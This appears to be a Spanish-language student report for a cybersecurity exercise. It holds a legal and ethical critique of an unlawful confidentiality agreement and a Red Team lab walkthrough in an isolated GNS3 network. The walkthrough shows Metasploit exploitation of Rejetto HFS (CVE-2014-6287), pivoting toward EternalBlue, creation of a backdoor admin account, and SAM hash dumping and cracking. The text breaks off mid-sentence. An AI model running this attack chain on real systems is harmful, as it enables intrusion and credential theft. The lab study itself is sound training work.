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Resumen
El presente informe técnico consolida los resultados obtenidos durante el desarrollo de un
ejercicio integral de ciberseguridad que abarca el analisis juridico, las actividades de Red Team y
las acciones de Blue Team, en el contexto del proceso de evaluacion de expertos solicitado por
SecureNova Labs. En primer lugar, se examina el marco legal aplicable a la gestion de
incidentes, considerando las responsabilidades normativas y el manejo de la evidencia digital.
Posteriormente, desde la perspectiva ofensiva, se documenta la explotacion de vulnerabilidades
criticas, el acceso inicial, la enumeracion interna, el pivoting, el movimiento lateral y la
persistencia sobre los sistemas evaluados. Finalmente, el enfoque defensivo aborda la deteccion
del ataque en tiempo real, la respuesta inicial, la contencidn del incidente, la recoleccion de
evidencias y las estrategias de hardenizacion propuestas para mitigar riesgos futuros. El informe
integra una vision técnica y normativa que permite comprender el ciclo completo del incidente y
fortalecer la postura de ciberseguridad organizacional.
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Abstract
This technical report consolidates the results obtained during the development of an integrated
cybersecurity exercise encompassing legal analysis, Red Team activities, and Blue Team actions,
within the expert evaluation process requested by SecureNova Labs. First, the applicable legal
framework for incident management is examined, addressing regulatory responsibilities and
digital evidence handling. Subsequently, from an offensive perspective, the exploitation of
critical vulnerabilities, initial access, internal enumeration, pivoting, lateral movement, and
persistence mechanisms are documented. Finally, the defensive approach focuses on real-time
attack detection, initial response, incident containment, evidence collection, and hardening
strategies proposed to mitigate future risks. The report integrates technical and regulatory
perspectives that enable a comprehensive understanding of the incident lifecycle and contribute
to strengthening the organization’s cybersecurity posture.

Keywords: Blue, pivoting, pentesting, red, team
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Introduccion

La creciente sofisticacion de las amenazas cibernéticas obliga a las organizaciones a
adoptar enfoques integrales que combinen capacidades ofensivas y defensivas para enfrentar de
manera adecuada los incidentes de seguridad. En este contexto, SecureNova Labs ha propuesto
una serie de escenarios que permiten evaluar la capacidad técnica, analitica y normativa de los
candidatos a conformar su equipo de ciberseguridad.

El presente informe integra los resultados de las actividades realizadas en las areas de
Red Team y Blue Team del incidente de simulacion de intrusion en la red de SecureNova Labs.
Este trabajo permite comprender la cadena completa del ataque, desde la explotacion inicial
hasta la respuesta y contencion, y en principio, algunas implicaciones legales en este caso. El
documento busca proporcionar una vision clara y estructurada del ejercicio, evidenciando la
capacidad para ejecutar técnicas ofensivas, identificar debilidades, responder a incidentes en

tiempo real y analizar el marco normativo aplicable.
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Justificacion

La unificacion de los componentes normativos, Red Team y Blue Team es fundamental
para comprender de manera holistica los incidentes de ciberseguridad en entornos corporativos.
Desde la perspectiva ofensiva, es indispensable evaluar el nivel real de exposicion de la
organizacion mediante pruebas controladas que permitan identificar fallos en servicios,
configuraciones y controles internos. Paralelamente, la vision defensiva proporciona los
elementos necesarios para detectar ataques en tiempo real, responder adecuadamente y contener
la actividad del adversario, garantizando la integridad operativa de la infraestructura.

Pero fundamentalmente, el analisis juridico resulta esencial para asegurar que la
organizacion actiie conforme a los requerimientos normativos en materia de evidencia digital,
cadena de custodia, manejo de datos personales, responsabilidad corporativa y obligacion de
reporte. Este componente permite consolidar las acciones técnicas con los pardmetros legales,
fortaleciendo asi la postura de seguridad y el cumplimiento regulatorio.

La integracion de estos tres enfoques asegura que SecureNova Labs pueda evaluar no
solo las habilidades técnicas del analista, sino también su capacidad para comprender y gestionar
el ciclo completo de un incidente con una perspectiva estratégica y alineada con las mejores

practicas de la industria.
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Objetivos

Objetivo General

Elaborar un informe técnico que integre el analisis ofensivo (Red Team), defensivo (Blue
Team) y normativo del incidente planteado en SecureNova Labs, con el fin de evaluar el ciclo
completo del ataque, su impacto, la respuesta institucional y las obligaciones legales aplicables,
fortaleciendo la comprension integral de la gestion de incidentes.
Objetivos Especificos

Evaluar las obligaciones juridicas derivadas del incidente, incluyendo cadena de custodia,
manejo de evidencia digital, proteccion de datos personales y responsabilidades institucionales.

Describir técnicamente el ataque realizado en el entorno del laboratorio, incluyendo
explotacidn inicial, enumeracion, pivoting, movimiento lateral y persistencia, conforme a las
actividades del Red Team.

Analizar la deteccion del incidente, las acciones iniciales de respuesta, la contencion y las
medidas de hardenizacion, de acuerdo con los procedimientos del Blue Team.

Integrar la informacion de los tres componentes para reconstruir el ciclo completo del
incidente y establecer el impacto técnico, operativo y legal.

Proponer recomendaciones estratégicas orientadas a fortalecer las capacidades de

ciberseguridad de SecureNova Labs a nivel técnico, operativo y normativo.
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Etica Profesional y Marco Normativo en Operaciones de Seguridad
Analisis ético y legal del acuerdo de confidencialidad en SecureNova Labs

Tras el analisis del Anexo 3 — Acuerdo de confidencialidad, se evidencian procesos
ilegales y poco éticos, los cuales contravienen tanto la legislacion penal colombiana como el
Codigo de Etica Profesional de la Ingenieria establecido por el COPNIA.

En el texto del acuerdo se identifican clausulas que implican encubrimiento de delitos
informaticos, como se observa en la clausula primera:

“... la informacién confidencial o sobre procesos ilegales dentro de SecureNova Labs no
podran ser divulgados” (Universidad Nacional Abierta y a Distancia, 2025, p. 3).

Esta disposicion constituye una obligacion expresa de ocultar actos ilicitos, lo que
vulnera el articulo 31 literal f del Codigo de Etica del COPNIA (Ley 842 de 2003), el cual
impone a los profesionales el deber de “denunciar los delitos, contravenciones y faltas contra
este Codigo de Etica, de que tuviere conocimiento con ocasion del ejercicio de su profesion”
(Consejo Profesional Nacional de Ingenieria, 2015, p. 7). Ademas, esta clausula puede ser
interpretada como omision de denuncia, configurando complicidad en caso de que los actos sean
constitutivos de delito.

Otra irregularidad evidente se presenta en la clausula segunda, numeral 2, que define
como informacidn confidencial los “datos de chuzadas, interceptacion de informacion, accesos
abusivos a sistemas informaticos” (UNAD, 2025, p. 3). Este fragmento es abiertamente ilegal,
dado que dichas practicas estan tipificadas como delitos informdticos por la Ley 1273 de 2009, la
cual sanciona el acceso abusivo a un sistema informatico (art. 269A), la interceptacion de datos

informaticos (art. 269B) y la violacion de datos personales (art. 269F) (Guarnizo Portela, 2020,
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p. 29). Incluir estos actos como parte del material “confidencial” implica una normalizacion de
conductas ilicitas.

Asimismo, la clausula cuarta, numerales 3 y 4, dispone que la parte receptora debera “no
denunciar ante las autoridades actividades sospechosas de espionaje” y “abstenerse de denunciar
y publicar la informacion confidencial e ilegal que conozca” (UNAD, p. 4). Esta prohibicion no
solo contradice el principio de transparencia y responsabilidad ética, sino que vulnera el deber
del ingeniero de proteger la sociedad y los bienes juridicos, tal como lo establece el articulo 33
del Codigo de Etica del COPNIA, que insta a rechazar todo acto que ponga en riesgo la
integridad social o ambiental (COPNIA, 2015).

Finalmente, la clausula octava dispone que, en caso de hallarse informacion ilegal en
manos del receptor, este “debera acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a SecureNova Labs” (UNAD, 2025, p. 5). Este fragmento busca
transferir la responsabilidad penal del acto ilicito al empleado, lo que contraviene el principio de
responsabilidad personal e intransferible contemplado en el Codigo Penal Colombiano. Segtn la
Ley 1273 de 2009, toda persona que participe o facilite delitos informaticos puede ser
sancionada, sin posibilidad de delegar dicha responsabilidad (Guarnizo Portela, 2020).

Desde la perspectiva ética, este acuerdo también infringe los principios fundamentales de
la ingenieria, que exigen actuar con honestidad, responsabilidad y respeto a la legalidad
(COPNIA, 2015). Ademas, el documento promueve un conflicto moral al obligar a los
profesionales a encubrir actividades delictivas, contrarias al deber de proteger la informacion de

forma licita y de contribuir al bienestar colectivo.
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Analisis ético-profesional frente a la oferta laboral de SecureNova Labs

No aplicaria al trabajo en SecureNova Labs, a pesar del salario ofrecido, porque el
acuerdo presentado contiene clausulas que vulneran la Ley 1273 de 2009 y el Cédigo de Etica
del COPNIA (Ley 842 de 2003). Este documento exige mantener en secreto procesos ilegales y
prohibe denunciar actividades sospechosas de espionaje o interceptacion de informacion, lo cual
contraviene el deber ético del ingeniero de actuar con honestidad, proteger a la sociedad y
denunciar conductas delictivas (COPNIA, 2015). Ademas, aceptar estas condiciones podria
implicar complicidad en delitos informaticos, sancionados por los articulos 269A al 269F del
Codigo Penal Colombiano (Guarnizo Portela, 2020).

Desde la perspectiva ética y profesional, el ingeniero debe mantener su independencia
moral y técnica, priorizando el bien comun sobre los beneficios econdmicos. Aceptar un cargo en
una organizacion que normaliza practicas ilicitas pondria en riesgo la dignidad profesional y la
responsabilidad social que exige el ejercicio de la ingenieria. Por ello, la decision correcta seria
rechazar la oferta, preservando la integridad, la legalidad y el compromiso con la ciberseguridad
ética.

Analisis del caso “Ciberespionaje y Etica en SecureNova Labs”

El caso de SecureNova Labs evidencia una serie de conflictos éticos y legales
relacionados con el manejo de informacion sensible, la confidencialidad y las responsabilidades
profesionales en ciberseguridad. La empresa, al exigir acuerdos que prohiben denunciar actos
ilicitos o revelan précticas de espionaje digital, incurre en infracciones a la Ley 1273 de 2009, la
cual protege la confidencialidad, integridad y disponibilidad de los datos y sistemas informaticos
(Guarnizo Portela, 2020). Ademas, las clausulas del acuerdo contradicen los principios del

Codigo de Etica del COPNIA, que establece que los ingenieros deben actuar con honestidad,
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independencia y en beneficio de la sociedad (COPNIA, 2015). Las implicaciones éticas surgen
principalmente de la manipulacion de datos y la violacion del deber profesional de proteger la
informacion sin utilizarla con fines ilicitos o contrarios al bien comun.
Acceso a informacion sensible durante auditorias

Las empresas de ciberseguridad, incluyendo los equipos Red Team y Blue Team, deben
tener acceso restringido y autorizado a la informacion sensible de sus clientes. Dicho acceso
debe limitarse unicamente al cumplimiento de los objetivos de la auditoria y basarse en los
principios de confidencialidad, proporcionalidad y consentimiento informado, conforme a la Ley
1581 de 2012 sobre proteccion de datos personales y la Ley 1273 de 2009, que tipifica el acceso
abusivo a un sistema informéatico como delito (Guarnizo Portela, 2020, p. 29). Para evitar un uso
indebido, las organizaciones deben establecer contratos de confidencialidad legitimos y
transparentes, con cldusulas de trazabilidad y monitoreo del acceso, garantizando que toda
informacion recolectada se utilice exclusivamente con fines de ciberdefensa. Estas medidas
responden al deber ético del ingeniero de custodiar la informacidn bajo su responsabilidad
(COPNIA, 2015, art. 31b).
Mecanismos de supervision y control

Para prevenir el uso indebido de herramientas de analisis forense o hacking ético, las
empresas de ciberseguridad deben implementar mecanismos de control interno, tales como
auditorias independientes, registro de actividades y comités éticos. Estos sistemas permiten
verificar que las herramientas avanzadas se utilicen conforme a la ley y los principios de la
profesion. El Cédigo de Etica del COPNIA, en sus articulos 31(f) y 33(d—e), establece la
obligacion de los profesionales de denunciar actos contrarios a la ética y de proteger a la

sociedad de riesgos derivados de la tecnologia (COPNIA, 2015). Por tanto, la supervision debe
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incluir la segregacion de funciones y la aplicacion de politicas de cumplimiento, tal como lo
recomiendan las buenas practicas internacionales de ciberseguridad y la legislacion penal
colombiana en materia de delitos informéaticos (Guarnizo Portela, 2020, pp. 45—47).
Respuesta ante actos de ciber espionaje

Cuando una empresa de ciberseguridad incurre en ciberespionaje, los gobiernos y las
organizaciones deben activar mecanismos legales y disciplinarios. Segun la Ley 1273 de 2009,
estos actos constituyen interceptacion de datos informaticos o violacion de datos personales,
delitos que pueden acarrear penas de prision (Guarnizo Portela, 2020, p. 30). La respuesta
institucional debe incluir la suspension del contrato, la denuncia ante las autoridades
competentes y la aplicacion de sanciones administrativas y penales. Para restaurar la confianza,
se recomienda realizar auditorias externas, certificaciones de cumplimiento ético y evaluaciones
de transparencia digital. Desde la ética profesional, el articulo 35 del Codigo de Etica exige
mantener la dignidad profesional y la independencia moral frente a presiones externas, por lo que
toda accion estatal o empresarial debe garantizar que las actividades de ciberseguridad se

orienten al interés ptblico y no a la manipulacién o espionaje de terceros (COPNIA, 2015).



Procedimientos de Red Team

Situacion problema: Analisis Red Team

SecureNova Labs detectd fugas de informacion desde una estacion de trabajo Windows

(Host-A). La imagen forense indica que la maquina ejecutaba una aplicacion vulnerable
probablemente explotada para obtener shell y escalar privilegios, ademas de evidencias de la

creacion no autorizada de un usuario con permisos administrativos. Los registros sugieren
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movimientos laterales desde Host-A hacia un servidor secundario (Host-B), como un servidor de

archivos o base de datos, desde donde se habria obtenido informacion sensible. En este contexto,

la mision del equipo Red Team consiste en determinar el vector de fuga en Host-A, validar si la

vulnerabilidad fue efectivamente explotada y si existié escalamiento de privilegios, reproducir en

un laboratorio aislado el pivoting Host-A — Host-B y, como prueba de concepto controlada,

crear en la imagen clonada de Host-B una cuenta administrativa con el formato

“primerNombre+primerApellido” de caracter efimero y documentado, para finalmente entregar

la evidencia técnica, un timeline forense completo y un plan de remediacion integral.
Topologia de Red del Laboratorio
Figura 1

Entorno de practica GNS3

192.168.20.32
HOSTA-WIN7

IE.

Red Interna
ParrosSecurity

HOSTB-WIN7

IE.

192.168.20.30 192.168.2.6 192.168.2.5

Nota. Imagen capturada del programa GNS3, software que permite simular redes complejas.



El entorno de simulacion se configura en GNS3 con una maquina atacante Parrot OS
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conectada a un router que simula Internet. Host-A cuenta con dos interfaces: una hacia Internet y

otra hacia la red interna donde reside Host-B. las maquinas virtuales se encuentran alojadas en

VirtualBox lo que permite tener un entorno de trabajo virtual muy similar a lo que

encontrariamos en un entorno real.

Fases del Pentesting y Herramientas Utilizadas

Se emplearon herramientas clasificadas por fases:

Fase de Reconocimiento (Passive/Active Recon)
Tabla 1

Herramientas usadas en fase de reconocimiento

Herramienta Uso Comando
ping Comprobar conectividad con Host-A ping 192.168.20.32
arp-scan Descubrimiento de hosts en red interna sudo arp-scan -I eth0

192.168.2.0/24

netdiscover Enumeracion ARP

sudo netdiscover -r

192.168.2.0/24

nmap Identificacion de hosts activos

sudo nmap -sn

192.168.2.0/24

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando

usado en la terminal.
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Fase de Enumeracion y Scanning
Tabla 2

Herramientas usadas en fase de Enumeracion

Herramienta Uso Comando

nmap -sV Deteccion de servicios abiertos en Host-A sudo nmap -sV -sC 192.168.20.32

nmap -p- Escaneo total de puertos sudo nmap -p- 192.168.20.32

searchsploit Confirmacion de vulnerabilidad de HFS searchsploit hfs

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando
usado en la terminal.
Fase de Explotacion

Tabla 3

Herramientas usadas en fase de Explotacion

Herramienta Uso Comando
Metasploit Framework Explotacion directa del msfconsole
HFS 2.3
Exploit: rejetto_hfs exec Lanzar RCE use

exploit/windows/http/rejetto _hfs ex

cC

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando

usado en la terminal.
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Fase de Post-explotacion en Host-A
Tabla 4

Herramientas usadas en fase de Post-explotacion

Herramienta Uso Comandos
Meterpreter Enumeracion de la maquina sysinfo getuid
Meterpreter Listar interfaces para pivoting ipconfig

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando
usado en la terminal.
Fase de Pivoting hacia Host-B

Tabla 5

Herramientas usadas en la fase de Pivoting

Herramienta Uso Comandos

autoroute (Metasploit) Agregar ruta hacia la red interna  Use post/multi/manage/autoroute

Portproxy (Metasploit  Port forwarding Use

post/windows/manage/portproxy

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando
usado en la terminal.
Fase de Movimiento Lateral

Tabla 6

Herramientas usadas en la fase de Movimiento Lateral

Herramienta Uso Comandos

Eternalblue Obtener shell en Host-B  use exploit/windows/smb/sm17 010 _etrnalblue

Shell windows Acceso remoto Interno de Windows
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Meterpreter Crear usuario efimero net user ...

Nota. La tabla muestra la herramienta usada durante la fase, con su descripcion y el comando
usado en la terminal.
Fase de Persistencia y Prueba de Concepto en Host-B

Con el acceso en el host B, se usa el siguiente comando para crear el usuario:

e net user juliancarvajal 1130624937 /add

e net localgroup administrators juliancarvajal /add
Datos del escenario que permiten identificar el fallo

Del analisis del caso planteado por SecureNova Labs, se identificaron varios elementos
clave que permitieron determinar el fallo de seguridad presente en Host-A. En primer lugar, se
menciona que la estacion Windows comprometida ejecutaba una “aplicacion vulnerable
probablemente explotada para obtener shell y escalar privilegios”, lo cual oriento la
investigacion hacia los servicios expuestos por la maquina. Asimismo, la deteccion de “fugas de
informacion” y la presencia de un “usuario con permisos administrativos creado de manera no
autorizada” indicaron un compromiso con capacidad de ejecucion remota. Finalmente, los
registros que evidenciaban movimientos laterales hacia Host-B confirmaron que Host-A actu6
como punto inicial de entrada y pivoting. Estos elementos, combinados, permitieron inferir que
el servicio ejecutado en Host-A expuesto hacia el exterior constituia el vector de intrusion mas
probable, dada su vulnerabilidad y su comportamiento coherente con los indicios descritos en el
escenario.
Identificacion del fallo de seguridad

Para identificar los fallos de seguridad presentes en la Maquina-1 (Host-A), se emple6 la

herramienta Nmap, ampliamente utilizada para el escaneo de puertos y la deteccion de versiones
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de servicios. Segun la documentacion oficial, Nmap permite realizar “service/version detection
para determinar los puertos abiertos, el servicio y la version del servicio de cada puerto” (Nmap
Project, 2022). A través de un escaneo con la opcion -sV, se determind que Host-A ejecutaba el
servicio Rejetto HttpFileServer (HFS) 2.3.x, el cual estaba accesible mediante el puerto 80/TCP,
coincidiendo con lo reportado en el escenario del anexo. Para validar la existencia de fallos
asociados a esta aplicacion, se utilizé también Searchsploit, herramienta que facilita la consulta
de vulnerabilidades basadas en exploits publicos; su catalogo sefiala que HFS 2.3.x presenta una
vulnerabilidad critica de ejecucion remota de comandos (CVE-2014-6287) (Exploit Database,
2014). La combinacion de estos resultados permitié confirmar que el puerto 80, expuesto por
HFS, constituia el vector de ataque explotable dentro del laboratorio.
Explicacion del ataque hacia las maquinas

El ataque afecta a las méquinas Windows de la red de manera progresiva y encadenada.
En primer lugar, Host-A resulta comprometido debido a que expone un servicio vulnerable
(Rejetto HFS 2.3.x) que permite la ejecucion remota de comandos sin autenticacion. Esto habilita
al atacante para obtener un control completo del sistema, acceder a informacion sensible, crear
cuentas administrativas no autorizadas y modificar el comportamiento del equipo. Debido a que
Host-A posee dos interfaces de red, una hacia Internet y otra hacia la red interna, el atacante
puede utilizarlo como punto de pivoting, es decir, como puente para alcanzar otros equipos que,
en condiciones normales, no serian accesibles externamente. A partir de este acceso, el atacante
puede escanear la red interna, identificar servicios expuestos en Host-B y comprometerlo
mediante técnicas de movimiento lateral, obteniendo finalmente privilegios administrativos. En
consecuencia, ambas maquinas quedan bajo control total del atacante, lo que afecta la

confidencialidad, integridad y disponibilidad de los sistemas involucrados.
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Figura 2
Diagrama de Red Team
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Nota. El diagrama muestra el diagrama general del pentesting
Documentacion paso a paso (explotacion + pivoting)
Reconocimiento

En esta etapa se debe realizar un reconocimiento de la red, identificar maquinas
disponibles, topologia de red, servicios, sistemas operativos, toda la informacion relevante para
poder realizar el ataque, en este caso la informacion que tenemos proviene del problema
planteado en el escenario 3 del laboratorio.
Para esto se realiza un escaneo general con sudo nmap -sn 192.168.20.0/24 obteniendo la
direccion IP del Host-A “192.168.20.32”
Enumeracion

Como ya se conoce la IP del Host-A, primero se realiza la verificacion de conectividad
desde el equipo atacante hacia el Host A usando el comando “ping” como se puede visualizar en

la figura 3.
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Figura 3

Verificacion de conectividad con Host-A

Nota. La figura es capturada del equipo atacante, muestra un ping hacia el Host-A con
confirmacion de transmision de paquetes y o paquetes perdidos.

Una vez que se tiene confirmacion de conexion con el Host-A procedemos a realizar un
escaneo de puertos con la herramienta nmap usando el comando “sudo nmap -sC -sV

192.168.20.32” cuyo resultado se puede evidenciar en la figura 4.
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Figura 4

Escaneo de puertos principales con nmap

ilabl

ft-HTTPAPI

Nota. En la figura se puede ver la ejecucion del comando nmap con sus parametros. -sC (Script
Scan con scripts por defecto) ejecuta scripts que pueden revelar vulnerabilidades y
configuraciones inseguras. -sV (Service Version Detection) identifica la version exacta del
servicio, lo que ayuda a confirmar si es vulnerable.

De acuerdo al resultado del escaneo con ayuda de nmap podemos listar algunas
vulnerabilidades como: el servidor HFS 2.3 en el puerto 80 que tiene una vulnerabilidad
conocida segun Exploit Database (CVE-2014-6287), la cual permite ejecucion de coédigo remoto
y exposicion de archivos sensibles, también el RPC (Remote Procedure Call) y el SMB (Server

Message Block) puertos 135 y 445 respectivamente estan abiertos y pueden ser blanco de
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ejecucion de codigo remoto, y la vulnerabilidad mas obvia, la version de Windows 7 que se
puede ver en la figura 5, version desactualizada que es vulnerable a multiples vectores de ataque
conocidos.

Figura 5

Segunda parte de los resultados del comando nmap -sC -sV

Nota. En la figura se ve la segunda parte del resultado del escaneo con nmap, donde se muestra
informacion del sistema operativo e informacion del equipo.
Identificacion de la vulnerabilidad

Una vez identificados los posibles vectores de ataque, procedemos a confirmar la
vulnerabilidad con ayuda de searchsploit usando el comando “searchsploit hfs 2.3” el cual nos

arroja el resultado que se puede visualizar en la figura 6.
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Figura 6

Resultado de la busqueda de la vulnerabilidad en Exploit Database

(HTTP File ¢
Http File

jetto HTTP
o HTTP
o HTTP
o HTTP

Nota. En la figura se puede ver los resultados de la busqueda de exploits disponibles.

Como se puede ver hay multiples maneras de explotar las vulnerabilidades de Rejjeto 2.3,
en este caso nos vamos a concentrar en Rejetto HFS 2.3.x Remote Command Execution (CVE-
2014-6287).

Explotacion de Host-A

Para explotar la vulnerabilidad de Rejjeto HFS 2.3.x se usa la herramienta metasploit;
Metasploit es un marco de trabajo disefiado para desarrollar, probar y ejecutar exploits contra
sistemas informaticos. Segun Rapid7 “Metasploit Framework es una plataforma de codigo
abierto para pruebas de penetracion que permite escribir, probar y ejecutar codigo de
explotacion.” (2023). la arquitectura modular permite automatizar tareas de reconocimiento,
explotacion y post-explotacion, haciéndola una herramienta central en las actividades de pruebas
de penetracion y ejercicios Red Team.

Para iniciar metasploit escribimos en la terminal de parrot el comando “msfconsole” y se

inicia el framework como se puede ver en la figura 7.
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Figura 7

Interfaz de metasploit

t multiple

Nota. Interfaz de metasploit que muestra la version y la cantidad de exploits disponibles.

Dentro de metasploit lo primero que se debe hacer es buscar los exploits disponibles para
la vulnerabilidad detectada en este caso realizamos la busqueda mediante el comando ““search
HFS” obteniendo como resultado los exploits disponibles en el framework como se puede

evidenciar en la figura 8.
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Figura 8

Resultados de la busqueda de exploits en Metasploit

Nota. La figura muestra una tabla en texto, con un nimero que identifica el exploit, el nombre, la
fecha de publicacion, la calificacion, si se ha testeado o no, y la descripcion.

Para continuar con el ataque se elige el mddulo 4, escribiendo el comando “use
exploit/windows/http/rejetto_hfs exec” como se puede ver en la figura 9.
Figura 9

Usando el modulo 4

Nota. El mensaje en la figura nos informa que no se a configurado ningtin payload por lo que se

usa el payload por defecto.
Ahora lo siguiente es configurar las opciones del modulo, se usa el comando “options”

para visualizar la configuracion como se puede observar en la figura 10.
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Figura 10

Visualizacion de opciones del modulo

Nota. La figura muestra una tabla de opciones del modulo de metasploit, se encuentra el nombre
del parametro a configurar, la configuracion, si se debe configurar o no y la descripcion del
parametro.

Los parametros que se deben configurar para ejecutar el exploit son RHOST y RPORT
que son la ip del equipo remoto Host-A (192.168.20.32) y el puerto vulnerable (8080), para esto
usamos los comandos set RHOST y set RPORT
Figura 11

Configuracion de host remoto

>> set RHOST 192

set RPO

Nota. La figura muestra la configuracion del host remoto y su respectivo puerto.
Una vez que se tienen todos los pardmetros configurados incluyendo LHOST (ip local) Y
LPORT que es la IP (192.168.20.30) y el puerto de la maquina local o atacante (4444), estos

valores se configuran por defecto, podemos ejecutar el exploit mediante el comando “run”



33

Figura 12

Explotacion de la vulnerabilidad

1) (C:\Rejjeto_123456) >

Nota. La figura muestra la conexion al Host-A con el payload por defecto (meterpreter).
Como se evidencia en la figura 12 se logrd el acceso remoto con permisos de
administrador al Host-A, ahora podemos proceder a la enumeracion de la red interna.
Enumeracion de la red interna
Lo primero es ver la informacion basica del sistema, para esto usamos el comando de
Meterpreter “sysinfo” como se ve en la figura 13.
Figura 13

Comando sysinfo Meterpreter

Nota. La figura muestra la informacion del sistema del Host-A

Ahora sabemos que el sistema del Host-A es un Windows 7 x64 SP1, el nombre del

HOST es PC202006.
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Lo siguiente es descubrir los usuarios del Host. Para esto usamos el comando de
Meterpreter “getuid” que nos arroja el resultado evidenciado en la figura 14.

Figura 14

Comando getuid Meterpreter

1) (C:\Rejjeto_123456) >
Nota. Resultado del comando getuid.

En el Host PC202006 existe una cuenta con el nombre “usuario”, el paso siguiente para
completar la enumeracion es realizar una identificacion de la red interna, para esto primero
usamos el comando ipconfig que nos muestra las conexiones de red del Host-A como se puede
ver en la figura 15.

Figura 15

Informacion de la interfaz de red interna

torio Inte

critorio Intel(R) PR

Nota. La figura muestra la configuracion de la interfaz de la red interna.
El comando “ipconfig” muestra la informacion de todas las conexione de red del Host-A

incluyendo la conexion de la red externa 192.168.20.x/24, en este caso solo nos interesa la
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conexion con la red interna 192.168.2.x/24, donde se encuentra nuestro objetivo, sabemos que el
Host-A tiene la direccion 192.168.2.6, ahora necesitamos saber la ip del Host-B para poder
realizar el movimiento lateral, para esto se usa el comando “arp -a” segun ShellHacks (2021) este
comando muestra la tabla ARP (Address Resolution Protocol) de un dispositivo, es decir, la
relacion entre direcciones IP y direcciones fisicas (MAC) conocidas en la red local.

Figura 16

Tabla ARP del Host-A

1) (C:\Rejjeto_123456) > arp -a

Nota. La tabla ARP muestra los dispositivos que interactuan con el Host-A dentro de la red.
Como se ve en la figura 16 la tabla muestra una direccion IP dentro de la red interna,

192.168.2.5 esta direccion IP es la direccion del Host-B, que es nuestro objetivo principal.
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Escalar privilegios

La configuracion de las maquinas de la red interna son las de una red pequefia de una
empresa que no tiene active directory, cada maquina tiene la cuenta de administrador habilitada y
la cuenta de usuario.

Para lograr escalar privilegios, vamos a conseguir los hashes de las contrasefias para
intentar crackearlas y asi lograr acceder a la mayoria de los computadores de la red que cuentan
con la contrasefia de administrador.

En la sesion de meterpreter, ingresamos al Shell de Windows con el comando “Shell”
para guardar los archivos con los hashes obtenidos del registro del sistema y del registro del
administrador de cuentas como se evidencia en la figura 17.

Figura 17

Acceso al Shell del Windows Host-A

ribirlo

Nota. Ingreso al Shell de Windows desde meterpreter.
Para lograr obtener los archivos hives volvemos a Meterpreter, y usamos el comando
download para descargar los archivos en nuestra carpeta de usuario del sistema (home) como se

puede ver en la figura 17.
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Figura 18

Descarga de archivos hives

Nota. Se descargan dos archivos en la carpeta personal de Parrott.

Ahora que tenemos los archivos hash debemos extraer los hashes con la herramienta
“samdump2” para luego crackear las contrasefas con ayuda de la herramienta “hashcat” como se
observa en la figura 19.

Figura 19

Herramientas samdump y hashcat en ejecucion

Nota. La figura muestra los comandos para realizar la extraccion del hash y el crackeo de las

contrasenas.
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Luego de unos segundos de interacciones obtenemos los resultados de hashcat como se
observa en la figura 20.

Figura 20

Contraserias descifradas

Nota. El resultado muestra el usuario en hash y la contrasefia descifrada

Si queremos saber de una manera mas precisa a que usuario corresponden las contrasefas
encontradas se puede revisar el archivo creado hashes.txt que contiene esta informacion como se
puede ver en la figura 21.

Figura 21

Archivo hashes.txt

Nota. El archivo muestra el resultado del comando “sampdump2”

Como se puede apreciar en el archivo, el “administrador” se identifica con el hash
terminado en 9a0f por lo que le corresponde la contrasefia “admin123” y tenemos otro usuario en
el Host-A identificado como “usuario” con contrasefia “hermoxa_21”, con esta logramos escalar

privilegios llegando al nivel de administrador del sistema.
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Pivoting hacia Host-B

Para realizar el pivoting hacia el Host-B se debe enrutar el trafico desde la maquina
atacante hacia el Host-B para esto usamos el modulo

Segtn Hale & Todb (2025) El modulo “post/multi/manage/autoroute” en Meterpreter
permite agregar rutas de red dentro de una sesion comprometida, facilitando el pivoting hacia
otras maquinas de la red interna a través del host comprometido, como se ve en la figura 17,
primero con el comando “background” se guarda la sesion de Meterpreter, y con el comando
“use post/multi/manage/autoroute” abrimos el moédulo, a continuacién configuramos las opciones
del modulo, se selecciona la sesion de Meterpreter en este caso la sesion 1, ya que se realizé una
nueva conexion de Meterpreter, la subred 0.0.0.0 para que busque automaticamente las subredes
disponibles y la mascara de red 255.255.255.0 y finalmente el comando “run” para ejecutar el
modulo.

Figura 22

Moédulo “post/multi/manage/autoroute” en Meterpreter

Nota. Autoroute afiade las subredes correspondientes al Host-A
Autoroute nos crea una ruta de trafico IP usando la sesion de Meterpreter entre la red

interna y la red externa.
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Ya sabemos que el Host-B tiene la IP “192.168.2.6” por el procedimiento anterior arp
con Shell Windows, pero existe un mddulo post explotacion que permite escanear los equipos
dentro de la red objetivo, el modulo se usa con el comando “use
post/windows/gather/arp scanner” dentro de las opciones de configuracion estan la red objetivo
que es 192.168.2.0/24 y la sesion de Meterpreter en este caso 1.

Figura 23

Uso del modulo post exploracion arp _scanner

Nota. La imagen muestra la configuracion del modulo arp scanner y el resultado.

Como se puede ver en la figura 23 después de configurar el modulo y ejecutarlo podemos
ver los equipos de la red interna con su MAC y el nombre del fabricante de la tarjeta de red, este
modulo es 1til para enumeracion.

Finalmente, para llegar al Host-B lo que vamos a hacer es un port forwarding, segun
Klusaite (2020) el port forwarding es un mecanismo de red que redirige conexiones entrantes a

través de un router o equipo intermedio hacia puertos especificos de un dispositivo interno.
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En nuestro ejercicio de red Team ya tenemos una ruta de direcciones IP para que haya
comunicacion entre la red interna y la red externa, con el port forwarding vamos a tener una ruta
de puertos para que el trafico sea dirigido desde el equipo atacante hasta el objetivo y viceversa.

Metasploit cuenta también con un modulo post explotacion que se llama “portproxy” que
sirve para realizar port forwarding, este modulo se usa con el comando “use
post/windows/manage/portproxy” como se ve en la figura 24, en la figura también se pueden ver
las opciones de configuracion del modulo.

Figura 24

Uso del modulo portproxy

Nota. La figura muestra la configuracion y el resultado de la ejecucion del modulo portproxy.
Dentro de las configuraciones estan la direccion y puerto del equipo objetivo

“192.168.2.5” y “445”, este ultimo puerto corresponde al servicio de SMB (Server Message
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Block), segin National Vulnerability Database (2017) “El servidor SMBv1 en varias versiones
de Microsoft Windows ... permite que atacantes remotos ejecuten codigo arbitrario mediante
paquetes especialmente manipulados, conocida como vulnerabilidad de ejecucion remota de
codigo en SMB”, que es la vulnerabilidad que vamos a atacar mas adelante, la direccion local
corresponde a la red interna, en este caso se configura como “0.0.0.0” para que reconozca la red
